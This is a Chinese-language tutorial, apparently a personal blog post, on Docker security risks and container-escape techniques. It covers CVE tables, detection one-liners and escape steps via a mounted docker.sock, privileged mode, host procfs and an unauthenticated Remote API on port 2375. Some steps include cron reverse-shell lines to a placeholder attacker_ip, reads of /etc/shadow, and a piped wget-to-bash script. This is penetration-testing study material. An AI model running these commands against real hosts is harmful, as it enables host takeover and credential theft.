Docker基于Linux内核实现,最早是采⽤了 LXC技术,后来Docker⾃⼰研发了 runc 技术。它基于Google Go语⾔实现,采⽤客户端/服务端架构,使⽤API来管理和创建容器。
Docker 容器与虚拟机类似,但二者在原理上不同,容器是将操作系统层虚拟化,虚拟机则是虚拟化硬件,因此容器更具有便携性、高效地利用服务器。相较于虚拟机,docker更加轻量化的同时也可以拥有独立的网络能力(虽然这个网卡是假的)
下图是 Docker 官方给出的架构图,里面包括了 Docker 客户端、Docker 容器所在的宿主机和 Docker 镜像仓库三个部分。
其中宿主机包括了 Docker 守护进程、本地容器和本地镜像,Docker 守护进程(dockerd)的作用是侦听 Docker API 请求和管理 Docker 对象。
docker面临的风险
容器镜像存在的风险
容器镜像是容器运行时的基础,一旦镜像本身存在安全问题,将直接影响容器实例的安全性。
1. 不安全的第三方组件
开发者可能在代码中引入存在漏洞的开源库或组件,例如:
- 使用存在远程代码执行漏洞的 log4j2;
- 在 Django 镜像中引用存在已知漏洞的依赖包;
即使业务逻辑本身没有问题,也会因组件漏洞造成安全隐患。
2. 不安全的基础镜像
从公共镜像仓库(如 Docker Hub)下载镜像时,可能误用存在漏洞或包含恶意代码的镜像。使用这类镜像构建容器,会在不知情的情况下引入安全风险。
3. 敏感信息泄露
在镜像打包过程中,开发者可能为了方便调试,将数据库密码、云服务密钥等敏感信息硬编码在配置文件或环境变量中。一旦攻击者获取到镜像文件,这些信息将被轻易暴露。
二、活动中的容器风险
容器在实际运行过程中,配置和行为不当可能会暴露出更多攻击面。
1. 不安全的容器服务
- 将数据库服务如 MySQL 的 3306 端口映射到公网,但密码设置为弱密码;
- 映射了存在已知漏洞的 Web 应用端口。
攻击者可以直接通过网络进行扫描与利用。
2. 未受限制的资源占用
容器运行于宿主机上,若未合理配置 CPU、内存、磁盘等资源的上限,攻击者可以通过高资源消耗行为导致宿主机系统资源被耗尽,进而影响其他服务。
3. 不安全的容器配置与挂载
容器隔离能力主要依赖于 Linux 命名空间(Namespace)与控制组(cgroups),但以下配置可能导致隔离失效:
配置项 |
风险描述 |
|
容器拥有与宿主机 root 等价的权限,完全打破隔离 |
|
容器与宿主机共用网络命名空间,易被监听或干扰 |
|
容器可查看宿主机进程,存在越权访问风险 |
|
容器内可访问宿主机全部文件,容易造成系统破坏 |
三、容器管理程序接口的风险
容器引擎(如 Docker)通过守护进程提供 API 接口,若未正确限制访问权限,将成为攻击的突破点。
1. UNIX Socket 相关风险
Docker 守护进程默认通过 /var/run/docker.sock
提供本地通信接口,运行权限为 root:
- 普通用户提权:若普通用户被加入 Docker 用户组,将有权限操作容器,进而通过特权容器进行提权;
- 容器内挂载 Socket:将
docker.sock
挂载至容器内部实现容器自管理,若容器被攻破,攻击者可借此控制宿主机容器环境,甚至实现逃逸。
2. TCP Socket 暴露风险
若启用 Docker 的 TCP 监听端口(如 2375),但未设置 TLS 加密与认证机制,攻击者可通过网络远程控制 Docker 引擎,实现容器部署、命令执行等操作。
四、其他风险
1. 容器网络风险
容器之间默认在同一虚拟网络中彼此可达,若某个容器被攻破,攻击者可利用横向扫描等方式尝试入侵其他容器。
2. 宿主机内核漏洞
容器与宿主机共享内核,一旦宿主机内核存在漏洞(如“脏牛”漏洞 CVE-2016-5195),攻击者可能利用容器发起本地提权,实现容器逃逸。
3. 容器引擎自身漏洞
容器引擎如 Docker 也可能存在可被利用的安全漏洞。例如:
- CVE-2019-5736:通过
runc
覆盖宿主机执行程序,实现容器逃逸; - CVE-2019-14271:不安全的模块加载逻辑,允许用户向宿主机注入任意代码。
Docker 逃逸漏洞汇总
在容器安全领域,Docker 逃逸始终是最关键的风险之一。攻击者一旦成功实现容器逃逸,便可突破容器隔离,进而控制宿主机。本节将从漏洞来源角度对已有的 Docker 逃逸漏洞进行分类汇总,后面可能会补充各漏洞的复现与防御实践。
一、Docker 自身漏洞导致的逃逸
这些漏洞多数源自 Docker 引擎或容器运行时(如 runc)存在安全缺陷,攻击者可通过特定方式突破隔离限制。
CVE编号 |
简要描述 |
CVE-2017-1002101 |
特权容器未正确限制,允许访问宿主资源 |
CVE-2018-1002100 |
Kubernetes 中特权容器与 API Server 间未授权访问 |
CVE-2018-15664 |
文件系统符号链接绕过(symlink time-of-check/time-of-use)漏洞 |
CVE-2019-14271 |
runc 加载用户控制的恶意动态链接库,导致宿主被控制 |
CVE-2019-1002101 |
API 请求未验证身份,允许远程创建容器并访问主机 |
CVE-2019-11246 |
kubectl cp 命令存在目录穿越漏洞 |
CVE-2019-11249 |
kubelet 未充分验证容器日志请求,信息泄露 |
CVE-2019-11251 |
Kubelet API 权限绕过,可注入恶意环境变量 |
CVE-2019-16884 |
Pod 目录被软链接劫持,绕过写入限制 |
CVE-2019-5736 |
runc 覆盖宿主二进制文件,实现容器逃逸(影响极广) |
CVE-2020-15257 |
容器名称未校验导致命令注入或路径混淆 |
CVE-2020-27151 |
Docker 中不安全的 mount 命令可能被滥用 |
KATA-ESCAPE-2020 |
Kata 容器逃逸漏洞,可直接访问宿主文件系统 |
CVE-2021-25741 |
Kubernetes 中 HostPath 类型未加限制导致越权挂载 |
CVE-2021-30465 |
Docker Compose 安装脚本目录遍历漏洞 |
CVE-2022-0492 |
Linux 安全模块绕过,可在容器内加载内核模块逃逸 |
二、内核漏洞导致的逃逸
由于容器与宿主机共用 Linux 内核,宿主机内核漏洞也可能被容器内的攻击者利用实现提权或逃逸。
CVE编号 |
简要描述 |
CVE-2016-5195(DirtyCow) |
写时复制缺陷导致本地提权,影响范围广泛 |
CVE-2017-1000112 |
netpoll 中 use-after-free,允许任意代码执行 |
CVE-2020-14386 |
缓冲区溢出,存在控制数据路径导致逃逸可能性 |
CVE-2021-22555 |
内核 netfilter 漏洞,可在容器内直接获取宿主权限 |
CVE-2022-0847(DirtyPipe) |
通过管道实现任意文件覆盖,绕过权限校验 |
三、不安全配置导致的逃逸风险
某些容器配置选项本身就存在设计隐患,在攻击者掌控容器后可被用来实现逃逸或操作宿主。
配置项 |
风险描述 |
|
拥有宿主全部权限,等同于 root shell |
挂载 |
可直接控制宿主机 Docker 引擎,实现反控 |
挂载 |
可读取宿主配置信息甚至篡改服务启动项 |
挂载 |
可直接读取宿主机内核状态信息,便于利用 |
挂载 |
可访问宿主日志,可能泄露敏感信息 |
添加 |
可越权读取任意文件,便于信息收集与提权 |
添加 |
被称为“Linux root 权限中的 root”,存在大量利用路径 |
四、如何配置实验环境
docker漏洞的复现非常复杂,下载靶场和搭环境耗时很长。https://github.com/Metarget/metarget 这个项目可以帮我们快速搭建docker漏洞所需的环境
五、工具
CDK是⼀款为容器环境定制的渗透测试⼯具,在已攻陷的容器内部提供零依赖的常⽤命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利⽤⽅式,插件化管理
https://github.com/cdk-team/CDK/wiki/CDK-Home-CN
如何检测该容器有什么逃逸漏洞
判断是否为容器环境
首先对于攻击者而言,需要先判断当前环境是不是容器环境,可以直接使用下面的命令去判断
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
1
如果返回 Is Docker
,说明当前是 Docker 容器环境,反之亦然
容器逃逸介绍
对于容器逃逸主要有以下三种方法:
- 不安全的配置
- 相关程序漏洞
- 内核漏洞
不安全的配置检测(容器内检测)
1. 检查是否为特权模式(--privileged
)
cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"
2. 检查是否挂载了 Docker Socket
ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted."
3. 检查是否挂载了宿主机的 procfs
find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted."
4. 检查是否挂载了宿主机根目录 /
find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q 7 && echo "Root directory is mounted." || echo "Root directory is not mounted."
5. 检查是否开启了 Docker Remote API(默认 2375 端口,未授权访问风险)
IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}'` && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Docker Remote API Is Enabled." || echo "Docker Remote API is Closed."
内核版本逃逸漏洞检测(基于内核版本判断是否可能存在漏洞)
1. DirtyCow(CVE-2016-5195)
uname -r
# 如果内核版本在 2.6.22 ~ 4.8.3 之间,则可能存在该漏洞
2. CVE-2020-14386
uname -r
# 如果内核版本在 4.6 ~ 5.9 之间,则可能存在该漏洞
3. DirtyPipe(CVE-2022-0847)
uname -r
# 如果内核版本在以下区间中任一段,则可能存在该漏洞:
# 5.8 <= 版本 < 5.10.102
# 5.15.0 <= 版本 < 5.15.25
# 5.16.0 <= 版本 < 5.16.11
一键检测脚本推荐
项目地址:
https://github.com/teamssix/container-escape-check
在线运行(前提:容器内有 wget
)
wget https://raw.githubusercontent.com/teamssix/container-escape-check/main/container-escape-check.sh -O - | bash
离线运行步骤
大多容器可能没有 wget 命令,因此可以将脚本先克隆到本地,然后上传到容器再执行
- 克隆脚本到本地
git clone https://github.com/teamssix/container-escape-check.git
- 上传脚本到容器内
- 给脚本加执行权限并运行
chmod +x container-escape-check.sh
./container-escape-check.sh
挂载宿主机 procfs 逃逸
什么是「挂载宿主机 procfs」
在 Linux 中,/proc
是一个伪文件系统(procfs),它映射的是当前系统内核和进程的实时信息,例如:
/proc/kallsyms
:内核符号表/proc/self/mem
:当前进程的内存映射/proc/sysrq-trigger
:允许触发内核热键(比如重启)
如果一个 Docker 容器挂载了宿主机的 /proc
(也叫 procfs)目录,比如下面这样:
docker run -v /proc:/host_proc -it ubuntu /bin/bash
那么容器内的用户就可以通过 /host_proc
目录,访问到宿主机的内核状态和敏感接口,这可能会造成非常严重的逃逸漏洞,尤其是在该容器内默认启用root权限,且没有开启User Namespace时
从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行
如何检测是否挂载了宿主机的 procfs?
find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && \
echo "Procfs is mounted." || echo "Procfs is not mounted."
原理是:
- 宿主机
/proc/sys/kernel/core_pattern
存在; - 容器原生路径也存在一个;
- 总数为 2,说明你可能访问到了宿主机的
/proc
。
更直接的检测:
mount | grep "on /proc"
# 或
ls /host_proc/sysrq-trigger
如何防御?
- 禁止挂载宿主机
/proc
-
- 宿主机 Dockerfile / docker-compose 中不要挂载
/proc
或-v /proc:/host_proc
类似内容。 - 尽量使用
tmpfs
替代方案。
- 宿主机 Dockerfile / docker-compose 中不要挂载
- 容器使用非特权模式(默认)
-
- 不加
--privileged
。 - 限制
cap_sys_admin
、cap_dac_read_search
等危险 Capability。
- 不加
- 使用 AppArmor / seccomp / SELinux 等限制访问
-
- 禁止写入
/proc/sysrq-trigger
等高危接口。 - 可自定义 seccomp profile 限制系统调用。
- 禁止写入
挂载 Docker Socket 逃逸
Docker 守护进程通过 Unix Socket(通常是 /var/run/docker.sock
)提供 API 接口来管理容器。如果你在一个容器里挂载了这个 socket 文件,你就可以像宿主机一样执行 Docker 命令了
比如在容器里运行:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
这就能直接访问并控制宿主机的文件系统
这就叫“挂载 Docker Socket 逃逸”,利用的是对 docker.sock
的完全控制能力
docker.sock
就像宿主机 Docker 守护进程的「遥控器」- 如果容器里挂载了它,那就等于你在容器里拥有了宿主机的「Docker 管理员」权限
- 利用这个权限,你可以在宿主机上启动特权容器,实现提权、读取文件、写入计划任务等等
检测方法(从容器内部)
ls /var/run/docker.sock && echo "Docker socket mounted!" || echo "Not mounted"
或者尝试运行:
docker ps
能跑说明你有宿主机 Docker 权限
创建一个特权容器逃逸
docker run -it --privileged -v /:/host alpine chroot /host sh
注意这个命令是在容器中运行的,它会在宿主机上运行一个特权容器,然后挂载宿主机根目录,你就可以:
# 在新容器里运行的命令
cat /etc/shadow # 查看宿主机敏感文件
echo "evil" > /root/hacked.txt # 写入宿主机文件
Privileged 特权模式容器逃逸
什么是 Privileged 模式容器?
平常的容器会被限制很多内核能力(capabilities),但只要加了 --privileged
参数,就几乎等同于 root 在宿主机操作了:
docker run -it --privileged ubuntu bash
- 容器获得了所有 capabilities
- 可以加载内核模块、访问设备文件
- 能访问很多宿主机资源接口(如
/dev
、/sys
)
所以这个模式下只要用点技巧,很容易从容器逃逸到宿主机
特权模式逃逸的常见方式
方法一:挂载宿主机磁盘直接 chroot(最简单)
mount -t proc proc /mnt/proc
mount --bind / /mnt
chroot /mnt bash
你现在就是宿主机的 root 了
方法二:写计划任务 / SSH 密钥反弹 shell
你可以:
echo 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1' > /etc/cron.d/reverse
等计划任务执行就直接反弹了
方法三:加载宿主机模块、访问设备节点
modprobe fuse # 加载 fuse 模块
mknod /dev/sda b 8 0 # 访问宿主磁盘
如果宿主机未限制 cgroup
和设备访问,就可以直接读写磁盘、拷贝 /etc/shadow
等文件了
Docker 远程 API 未授权访问逃逸
什么是 Docker Remote API 未授权访问?
Docker 守护进程默认监听 Unix socket (/var/run/docker.sock
),但有些人配置失误或用在测试环境时,把它改成了监听 TCP 端口(比如 2375
):
dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
如果没有加 TLS 认证任何人都能访问它的 API
黑客拿到这个 API 权限之后,就相当于拿到了整台宿主机的 root 权限,可以:
- 查看/操作容器
- 挂载宿主机目录
- 运行特权容器逃逸
- 直接读取宿主机文件或执行命令
如何利用
1. 确认远程开放了 Docker API
curl http://<目标IP>:2375/containers/json
如果返回一堆 JSON 容器信息,说明没做认证(漏洞存在)!
2. 直接开特权容器
docker -H tcp://<目标IP>:2375 run -it --privileged \
-v /:/mnt alpine chroot /mnt sh
你现在直接开了一台能 chroot 宿主机的容器,相当于控制了宿主机
3. 查看敏感信息 or 反弹 shell
cat /etc/shadow
echo "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" >> /etc/crontab
检测命令(容器 or 攻击者主机)
用 Bash 快速检测:
IP=$(hostname -I | awk '{print $1}' | sed 's/\.[0-9]*$/.1/') # 获取网关地址
timeout 3 bash -c "echo >/dev/tcp/$IP/2375" && echo "Docker Remote API Is Enabled." || echo "Closed"
也可以用 nmap
:
nmap -p 2375 --open -Pn <目标IP>
-------------------------------------------------
后面有时间了再逐一复现漏洞(其实现在也有时间,就是懒)